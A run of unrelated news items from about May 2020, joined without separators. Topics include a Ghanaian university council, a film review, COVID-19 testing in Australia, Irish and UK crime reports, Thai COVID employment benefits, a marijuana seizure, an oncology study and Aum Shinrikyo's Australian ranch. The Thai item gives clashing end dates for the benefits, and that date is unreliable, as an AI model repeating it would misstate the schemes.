Dr Bin Salih said this when the newly inaugurated Governing Council of the University led by the Vice Chairman, Naa Puowele Karbo III, and Professor Philip Duku Osei, the Interim Vice Chancellor, paid a courtesy call on him at his office in Wa.



The Regional Minister, who is himself an alumnus of the University, said seeing members of the Governing Council was a dream come through, saying since he took office getting autonomy for the Wa campus was on top of his priorities and that he was glad to see it come to light.



Ive always been clamoring for a national university and not a regional one and if you look at the composition of the Governing Council, you will realise that has been catered for, he said.



Dr Bin Salih expressed confidence in the members constituting the Governing Council and urged them to bring their expertise to bear to ensure the speedy development of the University in terms of infrastructure and recruitment of staff as well as their capacity enhancement.



He said the Regional Coordinating Council (RCC) under his leadership would do all it could to give the Governing Council the needed support noting in this regard, the RCC has released one of its bungalows to house the Interim Vice Chancellor.



Until today, Ive never met the Interim Vice Chancellor, Professor Philip Duku Osei, but I read his profile and I was so impressed, he said and urged him to leave a meaningful legacy behind.



Naa Karbo told the Minister that the purpose of the visit was to thank him for his role so far and to inform him that the Council has started work.



He commended President Akufo Addo for not just giving the people of Upper West Region a University but also naming it after a very great sons of the nation in the person of Simon Diedong Dombo  one of the key political leaders in the political history of Ghana.



The Vice Chairman said the Council has accepted the challenge and would put the necessary things in place to facilitate the speedy growth of the University.



Prof Osei said the University has already done temporary reconnaissance of the two campuses of the University  the old site around Sombo hosts the Business School and the new site around Bamahu is hosting the Integrated Studies.



Weve seen the enormity of the task ahead of us and weve planned some reorganization of programmes and faculties and to enhance staff capacity, he said.



We look forward to establishing ourselves and branding our University appropriately and work hard to recruit new students into the University, the basis for the growth that we are looking for, he added.



The Interim Vice Chancellor also thanked President Akufo Addo adding that they are looking forward to getting other forms of resources including seed money so that the enormous infrastructure development requirements would be fulfilled in due course.

Source: GNA









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critic's rating: 2.0/5

Trailer : Ghoomketu

Daydreams of a film writerGhoomketu (Nawazudding Siddiqui) is a wannabe film writer from a small village called Mahona in Uttar Pradesh who wants to become the new Salim-Javed. He runs away to Mumbai for a trial period of one month to try out his luck. Meanwhile, inspector Badlani (Anurag Kashyap), who is infamous for taking bribes has been given one month to find the runaway because of political pressure. It seems Ghoomketus uncle (Swanand Kirkire) has lots of political swag in UP and hence is able to influence the police in Mumbai through his contacts. Ghoomketu doesnt get along with his father (Raghubir Yadav) and has been married to an overweight woman (Ragini Khanna) -- these are also the reasons he runs away. Only his aunt (Ila Arun) knows this and has helped him with the money. Every writer is given the advice that he should write on his own experience and thats what Ghoomketu does as well. His stories are based on the lives of his family members. The anecdotes are often ridiculous but carry a touch of realism to them as well.The film has cameos from Amitabh Bachchan, Ranveer Singh, Sonakshi Sinha, Chitrangada Singh and Nikkhil Advani playing themselves. It was apparently completed in 2014 and has been sitting in the cans ever since. Director Pushpendra Nath Misra has tried to make a low budget spoof of how the industry functions but hasnt really pushed the envelope. The film looks more like an episodic fantasy where the writers dream comes to life during his narrations. Its a series of comedy skits loosely threaded together and some jokes are straight out of WhatsApp forwards. Some things are clearly ludicrous, like the sudden weight loss of Ragini Khanna, who is now more acceptable to her husband because of that. Thankfully, the director has shown that Ghoomketu comes back after one month and doesnt waste his life running from pillar to post in Mumbai, which is more in line with what a struggler actually undergoes.Its talented cast, comprising Nawazuddin Siddiqui, Ila Arun, Raghubir Yadav and Swanand Kirkire, as also Anurag Kashyap tries to keep things afloat with their efforts. The track between Anurag and Nawazuddin could have been developed into a cat and mouse chase but strangely wasn't. Director Pushpendra Nath Mishra, who has also written the film, certainly had the right idea, which alas wasnt executed properly. One can understand that it might not be the finished product aimed for because of its six-year hiatus.
For our free coronavirus pandemic coverage, learn more here.

Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size I pull up to the garage, in the backstreets of North Melbourne, just as the sun starts to sink. I make the call as instructed and the garage door rolls open. A gloved hand waves me inside. Then the door slides shut and a squeaky metal tray is wheeled over to my car window. I tilt my head back. Time for my coronavirus test. This all feels strangely clandestine for a medical examination but, in the new world built to combat COVID-19, testing drive-throughs have been hastily set up all over Australia  and beyond  sometimes with the promise of results pinged back to your phone within 48 hours. So what does the coronavirus test involve? Is it as brain-scrambling as people say? What are antibody tests? And will we all be tested soon? At a drive-through testing centre, a nurse prepares to swab reporter Sherryn Groch for COVID-19. Credit:Photo treatment Michael Howard Why do I have to be tested? To track a virus you can't see with the naked eye, that can spread by stealth even without symptoms, the World Health Organisation says countries must test and test often. But this virus also moves fast  it had morphed into a pandemic before global stores of testing kits could catch up, so at first many nations, including Australia, rationed tests to only those with known exposure risks. We've since opened up testing to anyone with symptoms. With more than 1 million tests already processed, Australia now boasts one of the highest testing rates in the world. In early April, when infections were still climbing, NSW's biggest COVID-19 testing lab, NSW Health Pathology in Sydney, was running more than 2000 tests a day. The lab's director, Professor Bill Rawlinson, says testing is now critical to charting Australia's path out of lockdown, helping guide decisions such as when to reopen schools and businesses. "If we can find the cases  and we think we are finding most of them  we can get on top of this... though there are a lot more out there." Right now, less than 1 per cent of tests in Australia come back positive for COVID-19.

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I don't have any of the tell-tale signs of the illness  no shortness of breath, fever, cough nor loss of smell. But do I have a sniffle, and in Victoria that's now enough to put me straight into the drive-through testing queue. Im the last patient of the day. The garage is almost empty of cars. We usually do this kind of thing in a clinic, hey, the nurse laughs as I cast a wary eye over the swab in her hand. Open up. Sharan Coulter tests Shi Yang Liu at St George Hospital in Sydney in May. Credit:Getty Images, photo treatment Michael Howard What does the test involve? To find the virus you need to catch it in the act, either by swabbing a sample directly or by singling out the bodys immune response to the infection in a blood test. Im here for the swab or PCR (polymerase chain reaction) test, the gold standard in diagnosis. Its considered accurate and minimally invasive (we'll see) but the actual testing part has to be done back at a lab where the sample can be examined for signs of the virus unique genetic code, often taking many hours to process. Healthcare workers take swabs from where the germ is known to live  the back of the nose, the throat and sometimes from phlegm coughed up from the lungs. It can make you gag or your eyes water as the wand goes in your mouth then your nostril but it only lasts a few seconds. The problem is that if the virus is breeding further down in the lungs or elsewhere in the body, the test might miss it altogether.

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Thats why, despite all the grim warnings from friends who've already faced the Q-tip  and compared the nasal portion of the test to everything from an alien probe to the Egyptian mummification process  I find myself saying these daring words: Get as much as you can. Really ram it in there." What does it feel like? Have you ever accidentally shoved your toothbrush too far down your throat? That's worse than a coronavirus test. The nurse is quick, efficient and gentle. With the swab pushing into the very back of my nasal cavity, my eyes at last start to water, but by then she's already drawing it out and sealing it away for the lab. I tell her it feels a little anticlimactic. She tells me she's impressed. "You're the only person I've done who hasn't cried. Some people sob. I've made grown men cry. Two days later, as promised, my phone dings. The results are negative. Still, I have a lingering suspicion  what if that cough that kept me sealed away at home two months ago was really COVID-19? Loading At the Walter and Eliza Hall Institute of Medical Research, Professor Ivo Mueller tells me that if I had the virus back then, it wouldnt show up on the PCR test now. The germ's genetic material breaks down fast once it stops replicating and usually vanishes from testing range within 10 days of symptoms appearing. An Australian government spokesman adds that while in some cases swabs will repeatedly pick up virus, even in patients deemed well again, that doesn't mean it's still infectious or "alive"  although caution should still be taken.

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Who needs to get tested in Australia? Just as every state is loosening social distancing restrictions at different speeds, they also have their own slight twist on testing. But generally, anyone with COVID-19 symptoms is being urged to get the swab. A federal government spokeswoman said mandatory testing was not currently recommended for frontline workers without symptoms. But some workplaces are setting their own rules. A Victorian government spokeswoman said frontline workers could also have their tests fast-tracked to allow a speedier return to work. NSW Health confirmed staff at some aged care facilities such as the site of a recent outbreak, Newmarch House, are being swabbed at the start of every second shift. Visitors to aged care homes across Australia are also being quizzed about possible COVID-19 symptoms  those who have had the illness are advised under the national guidelines to wait until two consecutive PCR tests come back negative before visiting. But only frontline workers such as those in health and aged care must be officially cleared to return to work by these rounds of testing. Most are instead told to wait 72 hours after symptoms disappear, which is considered a safe window to rule out patients who might still be infectious. Can a blood test tell me if Ive had the virus? To find out my past exposure, Mueller says, I'd need the second kind of test  a blood sample to see if my immune system has produced antibodies against the virus. My doctor tells me I can't get one yet. "And they're not that accurate anyway right now," she says. Loading Successfully fighting off a virus leaves us armed with antibodies ready for round two should it come back. They tend to give us at least a period of immunity if not always a lifelong shield  common coronaviruses that cause colds, for example, go away for at least a few months or a year before we become susceptible again. But in the case of COVID-19, Rawlinson says, there are still questions about how many antibodies patients produce and how much protection they offer. Antibodies take at least a week or two to appear in our system, meaning tests done too early will miss them. And, as Mueller explains, they also drop off in number within a few months of recovery, making them increasingly hard to find in the blood over time. Were looking for the ghost of a past infection, Mueller says. We know people get immune responses because thats how they recover. But to stay immune to something we dont just need antibodies, we need long-term memory cells that produce the right kinds of antibodies, [the ones that] can fight the virus off, not just warn its there. Our bodies remember some infections [such as measles] better than others, like malaria.

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Cars queue for drive-through COVID-19 testing at Bondi Beach on May 13. Credit:Getty Images. Photo treatment Michael Howard So are antibody tests accurate? When it comes to the blood tests themselves, not all are created equal. Experts agree that blood tests run back at labs yield the best results but tend to take more time and money  rapid finger-prick tests, meanwhile, can offer results in minutes but are less sensitive and so tend to miss more infections. "You're using 10 microlitres of blood versus [many] times that in a blood sample, Rawlinson says. Mueller explains a good rapid test needs to be highly specific (returning close to zero false positives) as well as sensitive. Theres a lot of shonky tests out there so its important they're all [checked]. Despite high-profile problems with rapid tests overseas, the Australian government has already spent millions of dollars on two different sets. Independent testing performed after they were bought and approved for use by Australia's drug regulator found their sensitivity was low and they could still return false positives  which shelved plans for a mass rollout to clinics. Rawlinson, meanwhile, is checking new lab-run blood-test kits and those are performing well so far. A blood test in the lab allows scientists to dig deeper into the sample: are the antibodies showing up the "right kind", those that give protection? Have they been tailor-made by the body to fight COVID-19 or are they just our generic baseline defence, or even old antibodies left over from another more common coronavirus trying their luck  and confusing the results?

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A man was shot in Mallow during an incident with armed gardai.

A garda discharged a single shot at approximately 8.30pm at Spa, Mitchelstown Road, Mallow.

No fatalities have been reported.

Two men have been arrested and are currently detained under Section 2 of the Criminal Justice (Drug Trafficking) Act, 1996 at Mallow Garda station.

Gardai are currently at the scene.

The Garda Siochana Ombudsman Commission (GSOC) has been notified and are at the scene of the incident.

GSOC will investigate the discharge of a Garda firearm.
A GROUP of students who wanted to make a difference to the lives of their fellow pupils and teachers are among the winners of the Young Social Innovators of the Year Ireland Awards 2020.

Students from Colaiste Iosaef in Kilmallock won the YSI Fun-raising Award for outstanding achievement in innovative fundraising for their project, Wellbeing Warriors, that aimed to promote positive wellbeing in their school.

A new extension to the school had left some old classrooms empty and they decided to seize the opportunity. The idea for their wellbeing room was born.

It is a space where people could go to relax, switch off, and take some time out from the busy school day. They wished to leave a lasting impression on their school, and help to improve life at Colaiste Iosaef for many years to come.

They arranged to meet the principal, Noel Kelly, to discuss their idea and request permission to go ahead. He loved the idea, explaining to them that wellbeing is now seen as a guiding principle in Irish education.

He allocated them a classroom, but explained that dry-lining and plastering would need to be re-done before it would be functional. Quotes came back from contractors for approximately 4,000 for the work to be completed.

The team came back together after this news. They knew the project would be a huge undertaking in terms of fundraising, teamwork, communication, and organisation. They decided that while it was a lot of money, they would not give up. They would fundraise to achieve their goal.

Meanwhile, a team from Colaiste Mhuire, Askeaton, were also highly commended in the Make Our World Safer Challenge, for their project, Tide 4 Life that aimed to support the work of search and rescue teams through the design and testing of a new life-saving device.

Announcing the Challenge Award winners, Young Social Innovators CEO, Rachel Collier, said: Communities need their young people now more than ever as we come together in this time of crisis, and teenagers have shown that, when given the opportunity, they can create incredible solutions to the very serious challenges facing us.
Maharashtra Chief Minister Uddhav Thackeray on Friday directed officials of the state cultural department to study if television shootings can restart at Film City in Goregaon east in the western suburbs of Mumbai.

In a meeting with a delegation of film producers and broadcasters, Thackeray asked them to identify safe and secluded locations where film and television shooting can resume with all health guidelines followed.

The Maharashtra chief minister asked the delegation to prepare a plan on how they could restart shooting and other production-related work.

The cultural affairs department would study the plan, Thackeray said assuring the delegation that the television industry provides livelihood to several people and he is not in favour of keeping everything shut.

Representatives of the Indian Broadcasting Foundation, including its chief NP Singh, coordinator Punit Goenka, along producers Ekta Kapoor, Nitin Vaidya among others had a meeting with Thackeray via video-conferencing where Shiv Sena functionary and actor Aadesh Bandekar was also present.
Robin Swann said he regrets the action needs to be taken (Niall Carson/PA).

Frail and elderly residents are being relocated from a Belfast nursing home over ongoing concerns relating partly to management of a Covid-19 outbreak.

A recent watchdog inspection prompted urgent intervention at the 100-bed Clifton Nursing Home which caters for older people with dementia, Stormont health minister Robin Swann said.

A regulator of standards warned patients and staff could be put at risk of harm due to problems surrounding infection prevention.

The minister said: I very much regret that this serious intervention has become necessary.

There have been ongoing concerns about this home, with recent inspections from the RQIA and ongoing regulatory activity.

Given the current situation facing care homes with Covid-19, decisive action is essential.

Extra resources have been directed by the NHS towards nursing homes across Northern Ireland amid concern about the impact of coronavirus.

The property at Hopewell Avenue near the Crumlin Road in the north of the city is part of Runwood Homes and has 100 beds.

Runwood Homes website describes itself as leading the way in care for older people across the UK, including those living with dementia.

The minister said: Action has been initiated to start relocating residents from Clifton Nursing Home in Belfast due to ongoing concerns about the way it is being run.

He added: Senior nursing and other staff from Belfast Trust are and will continue to be on the ground in the home to ensure the safety and wellbeing of residents.

This will be essential to give the necessary time to move residents at a safe pace and in consultation with them and their families.

The concerns about the home relate in part to its management of a Covid-19 outbreak.

An inspection of Clifton by Regulation and Quality Improvement Authority (RQIA) staff on May 15 identified concerns about governance, management and leadership.

The watchdog said: Observations and discussion with staff during the inspection identified deficits in relation to the robustness of infection prevention and control practices and the implementation of the regional Covid-19 guidance.

Staff expressed concern about management.

Moving frail and elderly people out of their home in this way will undoubtedly cause great stress and upset to them and their families Robin Swann

The RQIA added: RQIA were concerned that the issues relating to the day-to-day management of infection prevention and control were attributable to the lack of governance, oversight and leadership, and this had the potential to place patients and staff at risk of harm.

RQIA were concerned that the homes management arrangements had been depleted.

Therefore RQIA were not assured of the robustness of oversight and support for the management and staff team working in the home.

The minister said the action was being handled sensitively, with residents and families being closely consulted, but the situation was far from ideal.

Moving frail and elderly people out of their home in this way will undoubtedly cause great stress and upset to them and their families.

He said the process could not happen overnight.

As is so often the case at present, the health and social care system has had to choose the least worst option.

I am deeply sorry that residents and their families are being put through this.
As Covid-19 continues to spread and cripple thousands of businesses in Thailand, both employers and employees alike are facing unprecedented challenges. To help them during this difficult time, the Thai Ministry of Labour has announced a number of compensation benefits schemes for employers and employees registered with the Social Security Fund (SSF) who are affected by the Covid-19 pandemic.

The key points of these benefits schemes as they apply to three different scenarios are summarised below.

Scenario 1 | Employees under quarantine

If an employee is required to undergo a period of quarantine in order to prevent the spread of Covid-19, irrespective of whether such quarantine is legally mandated or required by the employer, and during such period the employee is not paid, then such employee will receive compensation benefits from the SSF for up to 90 days in an amount equal to 62% of his or her daily salary (the calculation of daily salary is as detailed below), subject to an eligible monthly salary cap of THB15,000 (approximately $470). For illustrative purposes, two calculation examples are set out below.

Employees whose salaries are equal to or more than THB15,000 per month

The calculation of compensation benefits for employees whose monthly salary is equal to or more than THB15,000 is straightforward. Such employees will be entitled to a compensation of THB9,300, i.e. 62% of THB15,000 (the maximum eligible monthly salary for the compensation scheme).

Employees whose salaries are less than THB15,000 per month

The calculation of compensation benefits for employees whose monthly salary is less than THB15,000 is slightly more complicated. Pursuant to the daily salary calculation as prescribed in the Social Security Act (1990), if an employee has a salary of less than THB15,000 per month, the employee will receive 62% of his or her daily salary (the daily salary being equal to (i) the sum of the highest three-month salary from his or her previous 15-month salary, (ii) divided by 90 days).



By way of illustration, if the employee's highest three months of wages from his or her previous 15-month wages are THB6,400, THB6,500 and THB6,600, respectively, then the daily salary of that employee will be THB216.67, which is calculated by dividing the total aggregate of the monthly salaries for those three months, i.e. THB 19,500, by 90 days. Accordingly, the employee in this example will receive 62% of THB216.67 (i.e. THB134.34) for each day that he or she was unpaid, up to a maximum of 90 days.

Duration and availability of benefits

Although these compensation benefits were recently announced, they are available up to a maximum period of 90 days from any day beginning March 1 2020 until August 31 2020, or as extended and notified by the Minister of Labour.

In order to be eligible to receive compensation benefits under Scenario 1, an employee must furnish to the SSF a certificate from his or her employer which confirms the existence of an event of force majeure.

Scenario 2 | Business interruption or closure

If an employee is unable to work due to a Covid-19 related temporary business suspension, irrespective of whether such suspension is required by a government order or determined by the business operator itself, and the employee is unpaid during this period, the employee will receive compensation benefits from the SSF in an amount equal to 62% of his or her daily salary (the calculation of daily salary is as illustrated in Scenario 1) during such business suspension for up to 90 days (capped at a maximum eligible monthly salary of THB15,000).

Scenario 3 | Termination/cessation of employment

The availability and the procedure for receiving these compensation benefits, as well as the principles of calculation, are the same as those detailed in Scenario 1 above.

If an employee's employment is terminated by the employer due to the Covid-19 pandemic, either as a result of business interruption, business closure, or otherwise, and during such period the employee is not paid, the employee will receive compensation benefits from the SSF in an amount equal to 70% of his or her daily salary (the calculation of daily salary is as illustrated in Scenario 1), for a period of up to 200 days. The employee shall also be entitled to receive from the employer (i) payment in lieu of advance notice (if any), (ii) severance payment at the rate specified under Thai labour law, (iii) payment in lieu of unused annual leave (if any), and (iv) other outstanding sums due and payable, such as amounts due for periods of overtime.

If an employee resigns or his or her employment contract expires without being renewed due to the Covid-19 pandemic, the employee will receive compensation benefits from SSF in an amount equal to 45% of his or her daily salary (the calculation of daily salary is as illustrated in Scenario 1) for up to 90 days.

L-R: Kudun Sukhumananda, Troy Schooneman, Ploy Maneepaksin, Amonwan Chatchalitwaphong

Although these compensation benefits were recently announced, they are available from March 1 2020 to February 25 2025.





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International drug trafficking networks are known for going to great lengths to deliver their product to distribution networks in the United States.

One smuggling organization might want to rethink its future delivery methods after U.S. Customs and Border Protection agents in Texas discovered 3,159 pounds of marijuana in a shipment of broccoli on May 16.

CBP agents conducted an investigation of a tractor-trailer after it arrived at a cargo facility at the Hidalgo-Reynosa International Bridge in Pharr, Texas.

The pot, which totaled 1,433 kilos, was found separated in 378 plastic wrapped packages amid the cases of broccoli.

CBP agents at the Hidalgo-Reynosa International Bridge busted a tractor-trailer with 3,159 pounds of marijuana that were hidden in a shipment of broccoli that arrived from Mexico in Pharr, Texas, on May 16

The seized pot, 1,433 kilos in all, was split in 378 plastic-wrapped packages. No arrests were announced by CBP

CBP's Office of Field Operation seized the broccoli cargo, the drugs and the truck, and turned over the investigation to Homeland Security investigators.

The border enforcement agency did not say whether any arrests were made.

The confiscated marijuana has a street value of $632,000 but could be worth as much as $2.6million in a city such as New York.

The bust surpassed April's total of 2,057 pounds, according to CBP's nationwide checkpoint drug seizure data released last week.

A total of 17,846 pounds have been confiscated in various operations by CBP during the first seven months of the current fiscal year, which began October 1, 2019 and runs through September 30, 2020.
Geneva, Switzerland, May 21(UNI) The International Committee of the Red Cross(ICRC) on Thursday warned of a worsening humanitarian crisis in northeastern regions of Syria, where severe shortages of basic necessities such as water and food is proving to be as dangerous as Coronavirus.

The Kurdish-held north eastern region of Syria has been hit hard by nine years of war, currently it hosts several displacement camps where tens of thousands of people are put up, including families of Islamic State group members, .

A COVID-19 outbreak, which the United Nations says has infected six people and killed one in the region, has only added to a litany of challenges in the area, the ICRC said.
Lugano, Switzerland, 22 May 2020 - Cancer-related fatigue is a prevalent and potentially persistent issue among breast cancer survivors, which can prevent them from returning to their previous life well after treatment ends and they are declared free of disease. A study, to be presented at the ESMO Breast Cancer Virtual Meeting 2020 (23-24 May), has now shown that existing recommendations and proven strategies for reducing fatigue, which can have physical, emotional as well as cognitive dimensions, may not be sufficiently adhered to by early breast cancer patients. (1)

Explaining the background to the analysis, study author Dr. Antonio Di Meglio of Gustave Roussy in Villejuif, France, stated: "Cancer-related fatigue is an issue that many patients complain about in the clinic, sometimes for years after the completion of treatment. Although there is a lot that we still don't know about the different mechanisms underpinning fatigue, we now have specific, evidence-based recommendations for treating it: the first is to initiate or maintain adequate levels of physical activity and limit sedentary time as much as possible. Data also supports the use of psychosocial interventions such as cognitive behavioural therapy, which can help address maladaptive thoughts like over-dramatising or feelings of helplessness. Our aim with this study was to assess the real-world uptake of these recommendations."

To do this, the research team drew on data from the CANTO cohort study, (2) which assessed long-term toxicities in early breast cancer patients from 26 French cancer centres for at least five years from the time of diagnosis. According to Di Meglio, "CANTO is unique in the field of survivorship research, as it enrolled over 10,000 breast cancer patients nationwide, of which we were able to include more than 7,000 in our analysis. The wealth of clinical, patient-reported and biological data collected makes it an ideal database to answer a lot of questions about cancer-related fatigue." Di Meglio and his colleagues included in their analysis only women who had completed primary treatment and were free of disease, and examined patients' reported utilisation of recommended strategies to treat fatigue over 12 months after a baseline assessment.

Uptake of physical activity recommendations hindered by severe fatigue

"These are patients who were free of disease and whom we would expect to return to their pre-cancer state within six to 12 months after the end of treatment. What we found, however, was that over a third of patients (36%) reported fatigue that we classify as severe at three to six months after treatment," Di Meglio reported. "A majority of study participants (64%) complied with physical activity recommendations in the year that followed, but that still leaves a concerning proportion of women (36%) who were not sufficiently active or completely inactive during this period."

The results additionally showed that patients who reported severe levels of fatigue at baseline were less likely than those with non-severe symptoms to adhere to recommendations of physical activity (60% versus 67%) in the year following the assessment. "The message here is that we need to work harder to encourage patients to stay active, and to make them understand that even if it seems counter-intuitive, it is exercise, not rest, that will help them to overcome fatigue," said Di Meglio.

Supportive care underutilised across the board, with differences observed by fatigue domain

The analysis further brought to light that overall reported utilisation of supportive care was low in this patient population, with only one out of 10 women consulting a psychologist, one out of 12 seeing an acupuncturist and one out of 14 seeking help from a homeopath. "The striking fact here is that patients seem to be using strategies that we have robust evidence for and can refer them to, like psychotherapy, at roughly the same rates as approaches for which we do not have sufficient efficacy data and therefore cannot recommend, like homeopathy," Di Meglio observed. "This suggests that patients may not be sufficiently aware of what the recommendations are, and that we as oncologists need to ensure they are educated about the options at their disposal to reduce fatigue. Better education may also help to diminish the fears and stigma that are still too often associated with psychosocial interventions."

Patients' physical activity uptake and utilisation of supportive care were additionally evaluated for different dimensions of fatigue, revealing differences in women's behaviour depending on whether their fatigue was more physical, cognitive or emotional in nature. "Most notably, we found that patients with severe physical fatigue were less likely to adhere to physical activity recommendations, at 59% compared to 67% of those with non-severe physical fatigue, while high levels of emotional fatigue were more strongly linked to utilisation of psychological consultations, at 17% compared to 8% of non-severe patients in this domain," Di Meglio reported.

He continued: "We also expected women experiencing severe overall fatigue to rely much more heavily on supportive care measures, but in fact they were only 1.3 times more likely to seek out the help of a psychologist, for example, than patients with non-severe fatigue. This may be explained in part by the fact that psychosocial interventions in this context usually come with out-of-pocket costs for patients. That is something our findings may contribute to changing in the future - especially considering that untreated cancer-related fatigue can have long-term social and financial consequences for survivors, some of whom we know never return to their previous life."

Prof. Gabriella Pravettoni, Director of the Psycho-Oncology Division at the European Institute of Oncology (IEO) in Milan, Italy, commented on the findings: "The fact that the strategies patients adopt to manage side-effects are strongly correlated to the type of fatigue they are suffering from is particularly interesting, because patients experiencing significant physical fatigue, for example, may actually benefit substantially from seeing a psychologist. We know that physical activity is proven to reduce cancer-related fatigue, but on its own it does not guarantee the inner healing of the individual."

Pravettoni continued: "By focusing too much on physical activity as the primary remedy for cancer-related fatigue, we are omitting the importance of working on patients' motivation and resilience to help them maintain that activity level and recover fully in the long term. If we leave these women without psychological support, other interventions are almost certain to be less effective as a result. What is truly needed is a 360-degree approach whereby healthcare professionals make therapeutic recommendations in line with patients' unique characteristics and needs. This is all the more important in the context of the current health emergency, which can cause patients to experience strong negative emotions like fear and uncertainty and add to their existing psychological burden from potentially traumatic experiences related to their cancer diagnosis and treatment."

###

Notes to Editors

Please make sure to use the official name of the meeting in your reports: ESMO Breast Cancer Virtual Meeting 2020

Official Congress Hashtag: #ESMOBreast20

Disclaimer

This press release contains information provided by the author of the highlighted abstract and reflects the content of these abstracts. It does not necessarily reflect the views or opinions of ESMO who cannot be held responsible for the accuracy of the data. Commentators quoted in the press release are required to comply with the ESMO Declaration of Interests policy and the ESMO Code of Conduct.

References

1 Abstract 183O 'Use of physical activity (PA) and supportive care (SC) among patients (pts) with early breast cancer (BC) reporting cancer-related fatigue (CRF)' will be presented by Antonio Di Meglio during the Proffered Paper session 1 on Saturday, 23 May, 12:45 to 14:15 (CET) on Channel 1. Annals of Oncology, Volume 31, Supplement 2, May 2020

2 CANTO cohort study: https://esmoopen.bmj.com/content/4/5/e000562

About the European Society for Medical Oncology (ESMO)

ESMO is the leading professional organisation for medical oncology. With more than 25,000 members representing oncology professionals from over 160 countries worldwide, ESMO is the society of reference for oncology education and information. ESMO is committed to offer the best care to people with cancer, through fostering integrated cancer care, supporting oncologists in their professional development, and advocating for sustainable cancer care worldwide. Visit http://www.esmo.org

183O - Use of physical activity (PA) and supportive care (SC) among patients (pts) with early breast cancer (BC) reporting cancer-related fatigue (CRF)

A. Di Meglio1, C. Charles2, E. Martin1, J. Havas1, A.S. Gbenou1, A-L. Martin3, S. Everhard3, E. Laas4, O. Tredan5, L. Vanlemmens6, C. Jouannaud7, C. Levy8, O. Rigal9, M. Fournier10, P. Soulie11, A. Dumas12, G. Menvielle13, F. Andre1, S. Dauchy2, I. Vaz-Luis1

1INSERM UMR 981, Gustave Roussy, Villejuif, France, 2DISSPO, Gustave Roussy, Villejuif, France, 3R&D, UNICANCER, Paris, France, 4Medical Oncology, Institut Curie, Paris, France, 5Medical Oncology, Centre Leon Berard, Lyon, France, 6Medical Oncology, Centre Oscar Lambret, Lille, France, 7Medical Oncology, Institut Jean Godinot, Reims, France, 8Medical Oncology, Centre Francois Baclesse, Caen, France, 9Medical Oncology, Centre Henri Becquerel, Rouen, France, 10Medical Oncology, Institut Bergonie, Bordeaux, France, 11Medical Oncology, Institut de Cancerologie de L'ouest -Paul Papin, Angers, France, 12Universite de Paris, ECEVE UMR 1123, INSERM, Paris, France, 13Sorbonne Universite, INSERM, Institut Pierre Louis d'Epidemiologie et de Sante Publique, Paris, France?

Background: CRF is highly prevalent in early BC. PA and psychosocial interventions were proven to be effective in several meta-analyses and are recommended management strategies for CRF. Some randomized trials support the use of acupuncture, while there are no data showing benefits of homeopathy for CRF. We aimed to assess use of PA and SC among pts with early BC.

Methods: Pts with stage I-III BC were prospectively included from the CANTO cohort (NCT01993498). Baseline CRF was evaluated shortly after treatment using EORTC-C30 for global CRF and EORTC-FA12 for its physical, emotional and cognitive domains. A score of 40 or higher defined CRF as severe (Abrahams HJ, Ann Oncol 2016). Data on adherence to PA recommendations (10 MET-hours/week or more) and SC consultations with a psychologist, acupuncturist or homeopath were collected in CANTO and therefore served as outcomes. Multivariable logistic regression examined associations between baseline CRF status (severe v not) and use of PA or SC consultations over the 12 months after baseline CRF assessment. Covariates included socio-demographics and psychological distress.

Results: Among 9691 pts included in CANTO, 6282 had available data on PA and 7598 on SC consultations. At baseline, 36% pts reported severe global CRF, and 36%, 23% and 14% pts reported severe physical, emotional and cognitive CRF, respectively. Overall, 64% pts were adherent to PA recommendations and only 10% pts saw a psychologist, whereas 8% saw an acupuncturist and 7% a homeopath. Pts reporting severe global CRF (v not severe) were less likely to adhere to PA recommendations (60% v 67%; adjusted odds ratio [aOR] 0.82, 95% CI 0.72-0.94), but more likely to see a psychologist (14% v 7%; aOR 1.31, 1.07-1.59), acupuncturist (10% v 6%; aOR 1.51, 1.22-1.86) or homeopath (10% v 6%; aOR 1.55, 1.25-1.92). There were differences in use of PA and SC consultations by CRF domain: pts reporting severe physical CRF showed lower adherence to PA (59% v 67%; aOR 0.73, 0.63-0.85), whereas pts with severe emotional CRF were more prone to psychology consultations (17% v 8%; aOR 1.41, 1.10-1.82).

Conclusions: This large study calls for the need to optimize and personalize the uptake of recommendations to manage CRF among pts with early BC.

Clinical trial identification: NCT01993498.

Legal entity responsible for the study: Unicancer.

Funding: Agence nationale de la Recherche (ANR-10-COHO-0004); Susan G. Komen (CCR17483507 to I. Vaz-Luis); Odyssea; Gustave Roussy.

Disclosure: A. Di Meglio: Honoraria (self): ThermoFisher. I. Vaz-Luis: Honoraria (self): Novartis; Honoraria (self): Kephren; Honoraria (self): AstraZeneca; Advisory/Consultancy: Ipsen; Honoraria (self): Amgen. All other authors have declared no conflicts of interest.
Police stormed a supermarket and arrested two people after a man was stabbed in front of young children and other shoppers in east London.

Officers were called to the Sainsbury's store in Roden Street, Ilford, just after 7.15pm last night where a man was found with knife wounds.

He was taken to hospital with serious injuries, as was another man who called for an ambulance from a house in nearby Forest Gate.

Police believe his wounds are linked to the same incident.

Dramatic footage posted on social media shows the aftermath of the shocking attack, where blood is visible on the shop floor.

Another video shows officers rushing into the store while in a third, emergency workers are seen attending to the victim, who is laying flat on his back, as shoppers, including young children, move away from the scene.

Officers were called to the Sainsbury's store in Roden Street, Ilford, just after 7.15pm last night where a man was found with knife wounds

Police in Redbridge tweeted that two men were arrested on suspicion of GBH and that stop and search powers will be used in the Ilford town area until 5am

Any witnesses are asked to call police on 101 quoting CAD 8094/21 May or the independent charity Crimestoppers anonymously on 0800 555 111

Police in Redbridge tweeted that two men were arrested on suspicion of GBH and that stop and search powers will be used in the Ilford town area until 5am.

Any witnesses are asked to call police on 101 quoting CAD 8094/21 May or the independent charity Crimestoppers anonymously on 0800 555 111.
Banjawarn Station takes up a million acres of shrub and grassland on the edge of the Great Victoria Desert in the middle of Western Australia.

It is marginal land to graze livestock but about as isolated as any habitable place that exists on the planet and the perfect location to do things without being watched.

In April 1993 two senior members of the Japanese doomsday cult Aum Supreme Truth flew from Tokyo to Perth on a fact-finding mission looking for just such a spot.

The group's second-in-charge and its 'intelligence minister' chartered a plane with a local real estate agent and inspected properties for sale across the Outback.

The sect planned to stage terrorist attacks its leader believed would start a nuclear war between superpowers, and remote Australia seemed a safe place to seek refuge in the fallout.

More immediately, they were in search of a hideout to plan and prepare for what has been described as the first use of a weapon of mass destruction by terrorists.

Banjawarn Station was bought by the Japanese doomsday cult Aum Supreme Truth in 1993 and used to manufacture and test the nerve agent sarin. Two years later the cult used sarin in a fatal attack on Tokyo's subway system. The Banjawarn homestead is pictured

